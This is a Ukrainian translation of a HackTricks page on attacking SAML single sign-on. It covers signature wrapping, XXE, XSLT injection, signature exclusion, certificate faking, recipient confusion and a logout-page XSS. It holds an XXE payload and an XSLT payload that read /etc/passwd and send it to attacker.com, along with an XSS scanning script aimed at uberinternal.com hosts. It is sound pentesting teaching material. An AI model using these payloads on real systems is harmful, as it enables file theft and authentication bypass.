SAML Attacks

Атаки на SAML

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Якщо ви хочете побачити вашу компанію рекламовану на HackTricks або завантажити HackTricks у форматі PDF, перевірте ПЛАНИ ПІДПИСКИ!
Отримайте офіційний PEASS & HackTricks мерч
Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @carlospolopm.
Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.

Основна інформація

pageSAML Basics

Інструмент

SAMLExtractor: Інструмент, який може взяти URL або список URL та вивести URL для споживання SAML.

Обробка XML

У XML підписана частина XML зберігається в пам'яті, потім виконується деяке кодування/декодування, і перевіряється підпис. Ідеально, це кодування/декодування не повинно змінювати дані, але в такому сценарії перевіряні дані та оригінальні дані можуть не збігатися.

Наприклад, перевірте наступний код:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Запуск програми проти REXML 3.2.4 або раніше призведе до виведення наступного результату замість цього:

First child in original doc: Y
First child after round-trip: Z

Отримано такий вигляд початкового XML-документа програми за допомогою REXML:

А ось як він виглядав після раунду парсингу та серіалізації:

Для отримання додаткової інформації про вразливість та способи її зловживання:

Атаки обгортання підпису XML

У атаках обгортання підпису XML (XSW) зловмисники використовують вразливість, що виникає при обробці XML-документів через дві різні фази: перевірка підпису та виклик функції. Ці атаки включають зміну структури XML-документа. Зокрема, зловмисник впроваджує підроблені елементи, які не порушують валідність підпису XML. Ця маніпуляція спрямована на створення розбіжності між елементами, які аналізує логіка додатку, та тими, які перевіряє модуль перевірки підпису. У результаті, хоча підпис XML технічно залишається валідним і успішно проходить перевірку, логіка додатку обробляє шахрайські елементи. В результаті зловмисник ефективно обходить захист цілісності та аутентифікацію походження підпису XML, дозволяючи впровадження довільного вмісту без виявлення.

Наведені нижче атаки базуються на цьому блозі та цій статті. Тому перевірте їх для отримання додаткових деталей.

XSW #1

Стратегія: Додається новий кореневий елемент, що містить підпис.
Наслідок: Валідатор може заплутатися між законним "Response -> Assertion -> Subject" та "зловмисним новим Response -> Assertion -> Subject", що призводить до проблем з цілісністю даних.

XSW #2

Відмінність від XSW #1: Використовує відокремлений підпис замість обгорткового підпису.
Наслідок: "Шахрайська" структура, схожа на XSW #1, спрямована на обман бізнес-логіки після перевірки цілісності.

XSW #3

Стратегія: Створюється шахрайська Assertion на тому ж ієрархічному рівні, що й оригінальна Assertion.
Наслідок: Має на меті заплутати бізнес-логіку для використання зловмисних даних.

XSW #4

Відмінність від XSW #3: Оригінальна Assertion стає дитиною дубльованої (шахрайської) Assertion.
Наслідок: Схоже на XSW #3, але більш агресивно змінює структуру XML.

XSW #5

Унікальний аспект: Ані підпис, ані оригінальна Assertion не відповідають стандартним конфігураціям (обгорнуті/обгорткові/відокремлені).
Наслідок: Скопльована Assertion обгортає підпис, змінюючи очікувану структуру документа.

XSW #6

Стратегія: Вставка на аналогічному рівні, що й XSW #4 та #5, але з підвищенням.
Наслідок: Скопльована Assertion обгортає підпис, який потім обгортає оригінальну Assertion, створюючи вкладену обманливу структуру.

XSW #7

Стратегія: Вставка елементу Extensions зі скопльованою Assertion як дитиною.
Наслідок: Це використовує менш обмежувальну схему елементу Extensions для обходу контрзаходів валідації схеми, особливо в бібліотеках, таких як OpenSAML.

XSW #8

Відмінність від XSW #7: Використовує інший менш обмежувальний XML-елемент для варіанту атаки.
Наслідок: Оригінальна Assertion стає дитиною менш обмежувального елементу, змінюючи структуру, використану в XSW #7.

Інструмент

Ви можете використовувати розширення Burp SAML Raider, щоб розібрати запит, застосувати будь-яку атаку XSW, яку ви оберете, та запустити її.

XXE

Якщо ви не знаєте, які атаки є XXE, будь ласка, прочитайте наступну сторінку:

pageXXE - XEE - XML External Entity

Відповіді SAML є стиснутими та закодованими у форматі base64 XML-документами і можуть бути вразливими до атак XML External Entity (XXE). Шляхом маніпулювання структурою XML-відповіді SAML зловмисники можуть спробувати використати вразливості XXE. Ось як може виглядати така атака:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Інструменти

Ви також можете використовувати розширення Burp SAML Raider для генерації POC з запиту SAML для тестування можливих вразливостей XXE та вразливостей SAML.

Перегляньте також цей виступ: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT через SAML

Для отримання додаткової інформації про XSLT перейдіть за посиланням:

pageXSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Мова розширення таблиць стилів (XSLT) може бути використана для перетворення XML-документів у різні формати, такі як HTML, JSON або PDF. Важливо зауважити, що перетворення XSLT виконуються перед перевіркою цифрового підпису. Це означає, що атака може бути успішною навіть без дійсного підпису; достатньо самопідписаного або недійсного підпису для продовження.

Тут ви можете знайти POC, щоб перевірити цей тип вразливостей, на сторінці hacktricks, згаданій в початку цього розділу, ви можете знайти навантаження.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Інструмент

Ви також можете використовувати розширення Burp SAML Raider, щоб створити POC з запиту SAML для тестування можливих вразливостей XSLT.

Перевірте також цей виступ: https://www.youtube.com/watch?v=WHn-6xHL7mI

Виключення підпису XML

Виключення підпису XML спостерігає за поведінкою реалізацій SAML, коли елемент підпису відсутній. Якщо цей елемент відсутній, перевірка підпису може не відбуватися, що робить його вразливим. Це можна перевірити, змінивши вміст, який зазвичай перевіряється підписом.

Інструмент

Ви також можете використовувати розширення Burp SAML Raider. Перехопіть відповідь SAML та натисніть Remove Signatures. При цьому всі елементи підпису видаляються.

Після видалення підписів дозвольте запиту продовжити до цільового об'єкта. Якщо підпис не потрібний Сервісом

Підробка сертифіката

Підробка сертифіката - це техніка для перевірки того, чи Постачальник Сервісу (SP) належним чином перевіряє, що Повідомлення SAML підписане довіреним Постачальником Ідентифікації (IdP). Це включає використання *самопідписаного сертифіката для підпису відповіді SAML або твердження, що допомагає оцінити процес перевірки довіри між SP та IdP.

Як провести підробку сертифіката

Наступні кроки описують процес за допомогою розширення Burp SAML Raider:

Перехопіть відповідь SAML.
Якщо відповідь містить підпис, надішліть сертифікат в SAML Raider Certs, використовуючи кнопку Send Certificate to SAML Raider Certs.
У вкладці SAML Raider Certificates виберіть імпортований сертифікат та натисніть Save and Self-Sign, щоб створити самопідписаний клон оригінального сертифіката.
Поверніться до перехопленого запиту в Proxy Burp. Виберіть новий самопідписаний сертифікат зі списку випадаючих XML Signature.
Видаліть будь-які існуючі підписи за допомогою кнопки Remove Signatures.
Підпишіть повідомлення або твердження новим сертифікатом, використовуючи кнопку (Re-)Sign Message або (Re-)Sign Assertion, відповідно.
Перешліть підписане повідомлення. Успішна аутентифікація свідчить про те, що SP приймає повідомлення, підписані вашим самопідписаним сертифікатом, розкриваючи потенційні вразливості в процесі перевірки повідомлень SAML.

Плутанина отримувача токена / Плутанина цільового постачальника сервісу

Плутанина отримувача токена та плутанина цільового постачальника сервісу включають перевірку того, чи Постачальник Сервісу правильно перевіряє призначеного отримувача відповіді. У сутності, Постачальник Сервісу повинен відхилити відповідь на аутентифікацію, якщо вона була призначена для іншого постачальника. Критичним елементом тут є поле Recipient, яке знаходиться в елементі SubjectConfirmationData відповіді SAML. Це поле вказує URL, де повідомлення повинно бути відправлене. Якщо фактичний отримувач не відповідає призначеному Постачальнику Сервісу, твердження повинно вважатися недійсним.

Як це працює

Для того, щоб атака SAML Token Recipient Confusion (SAML-TRC) була можливою, повинні бути виконані певні умови. По-перше, на Постачальнику Сервісу повинен бути дійсний обліковий запис (SP-Legit). По-друге, цільовий Постачальник Сервісу (SP-Target) повинен приймати токени від того самого Постачальника Ідентифікації, який обслуговує SP-Legit.

Процес атаки простий за цих умов. Ініціюється аутентична сесія з SP-Legit через спільного Постачальника Ідентифікації. Перехоплена відповідь SAML від Постачальника Ідентифікації до SP-Legit, спочатку призначена для SP-Legit, потім перенаправляється до SP-Target. Успіх цієї атаки вимірюється прийняттям SP-Target твердження, що надає доступ до ресурсів під тим самим ім'ям облікового запису, яке використовувалося для SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS у функціоналі виходу

Оригінальне дослідження можна переглянути за цим посиланням.

Під час процесу перебору каталогів була виявлена сторінка виходу за посиланням:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Після доступу за цим посиланням відбулося перенаправлення на:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Це виявилося, що параметр base приймає URL-адресу. Враховуючи це, виникла ідея замінити URL-адресу на javascript:alert(123); у спробі ініціювати атаку XSS (міжсайтовий скриптинг).

Масова експлуатація

З цього дослідження:

Інструмент SAMLExtractor використовувався для аналізу піддоменів uberinternal.com для доменів, які використовують ту ж саму бібліотеку. Після цього був розроблений скрипт для спрямування на сторінку oidauth/prompt. Цей скрипт перевіряє наявність XSS (міжсайтового скриптингу), вводячи дані та перевіряючи, чи вони відображаються у виведенні. У випадках, коли введені дані дійсно відображаються, скрипт позначає сторінку як вразливу.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Якщо ви хочете побачити рекламу вашої компанії в HackTricks або завантажити HackTricks у форматі PDF, перегляньте ПЛАНИ ПІДПИСКИ!
Отримайте офіційний PEASS & HackTricks мерч
Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами на Twitter 🐦 @carlospolopm.
Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks та HackTricks Cloud репозиторіїв.

PreviousReset/Forgotten Password Bypass NextSAML Basics

Last updated 1 month ago